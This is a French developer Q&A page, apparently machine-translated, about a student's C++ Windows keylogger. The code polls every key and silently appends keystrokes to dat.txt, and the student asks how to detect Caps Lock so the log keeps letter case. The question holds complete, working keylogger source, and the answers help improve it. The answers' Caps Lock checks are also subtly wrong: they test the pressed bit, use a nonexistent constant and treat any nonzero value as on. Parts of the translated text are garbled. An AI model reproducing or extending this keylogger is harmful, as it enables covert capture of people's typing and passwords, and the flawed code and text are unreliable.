2 votes

Vérifier si CAPSLOCK est activé/désactivé en C++

Bonjour, j'ai ce code qui peut enregistrer les frappes de clavier et les sauvegarder dans un fichier dat.txt, Mais il ne peut pas faire la différence entre les majuscules et les minuscules, Il écrit tous les caractères majuscules comme "ABCDEFG" et non "abcdefg". J'ai besoin d'un code qui vérifie si le verrouillage des majuscules est activé/désactivé. Et qui enregistre la sortie telle qu'elle est.

#define _WIN32_WINNT 0x0500 
#include <Windows.h>
#include <string>
#include <stdio.h>
#include <iostream>
#include <fstream>
using namespace std;
void LOG(string input) {
    fstream LogFile; 
    LogFile.open("dat.txt", fstream::app); 
    if (LogFile.is_open()) {
        LogFile << input; 
        LogFile.close();
    }
}

bool SpecialKeys(int S_Key)
{
 switch (S_Key) {
  case VK_SPACE:
       LOG(" ");
       return true;
  case VK_RETURN:
       LOG("\n");
       return true;
  case VK_SHIFT:
       LOG("[SHIFT]");
       return true;
  case VK_CAPITAL:
       LOG("[CAPSLOCK]");
       return true;
  case VK_OEM_8:
       LOG("!");
       return true;
  case VK_MULTIPLY:LOG("*");
       return true;
  default:
       return false;
 }
}

int main() {
    char KEY = 'x'; 
    while (true) {
        Sleep(10); 
        for (int KEY = 0; KEY <= 255; KEY++) {
            if (GetAsyncKeyState(KEY) == -32767) {    
                fstream LogFile;
                LogFile.open("dat.txt", fstream::app); 
                if (LogFile.is_open()) {
                    LogFile << char(KEY); 
                    LogFile.close();
                }
            }
        }
    }
    return 0;
}

3voto

Mitra M Points 83

Vous pouvez utiliser Fonction GetKeyState pour Récupérer l'état de l'objet spécifié clé virtuelle .

La valeur de retour indique l'état de l'objet spécifié v clé , Si le bit de poids fort est égal à 1, la touche est enfoncée ; sinon, elle est en haut. Si le bit de poids faible est à 1, la touche est basculée. A telle que la touche CAPS LOCK, est activée si elle est activée. La clé est éteinte et non basculée si le bit de poids faible est à 0. Le témoin lumineux d'une touche à bascule (s'il s'agit d'une touche à bascule) est à 0. d'une touche de basculement (s'il y en a un) sur le clavier s'allume lorsque la touche est basculée, et s'éteint lorsque la touche est désactivée. et éteint lorsque la touche n'est pas activée.

VK_CAPSLOCK = 0x14;

.

if(GetKeyState(VK_CAPSLOCK) < 0)
 { 
   // The CAPSLOCK IS ON 
 } 
else
 { 
  // The CAPSLOCK IS OFF 
 }

0voto

Sorry IwontTell Points 302

GetKeyState permet de connaître l'état d'une touche, chaque bouton du clavier ayant son propre numéro de touche. Visiter ici1 o ici2 pour plus d'informations.

 if (GetKeyState(20)) {
 //cout << "Capslock is ON";
                      }  
else {  
 //cout << "Capslock is OFF";
     }

Je réponds à ma propre question pour aider les autres étudiants comme on m'a aidé. Si le lien ne fonctionne pas, consultez la liste des codes clés virtuels ci-dessous :

BackSpace=8
Tab=9      
Return=13  
Command=15M
Shift=16
Contrli=17
Alt=18
Pause=19
CapsLock=20
Escape=27
Space=32
PageUp=33
PageDown=34
End=35
Home=36
Left=37
Up=38
Right=39
Down=40
PrintScreen=44
Insert=45
Delete=46
0=48
1=49
2=50
3=51
4=52
5=53
6=54
7=55
8=56
9=57
A=65
B=66
C=67
D=68
E=69
F=70
G=71
H=72
I=73
J=74
K=75
L=76
M=77
N=78
O=79
P=80
Q=81
R=82
S=83
T=84
U=85
V=86
W=87
X=88
Y=89
Z=90
LWin=91*
RWin=92*
Apps=93*
NumPad0=96
NumPad1=97
NumPad2=98
NumPad3=99
NumPad4=100
NumPad5=101
NumPad6=102
NumPad7=103
NumPad8=104
NumPad9=105
Multiply=106
Add=107
Subtract=109
Decimal=110
Divide=111
F1=112
F2=113
F3=114
F4=115
F5=116
F6=117
F7=118
F8=119
F9=120
F10=121
F11=122
F12=123
F13=124
F14=125
F15=126
F16=127
NumLock=144
ScrlilLock=145
LShift=160**
RShift=161**
LContrli=162**
RContrli=163**
LAlt=164**
RAlt=165**
SemiClion=186
Equals=187
Comma=188
UnderScore=189
Period=190
Slash=191
BackSlash=220
RightBrace=221
LeftBrace=219
Apostrophe=222

Prograide.com

Prograide est une communauté de développeurs qui cherche à élargir la connaissance de la programmation au-delà de l'anglais.
Pour cela nous avons les plus grands doutes résolus en français et vous pouvez aussi poser vos propres questions ou résoudre celles des autres.

Powered by:

X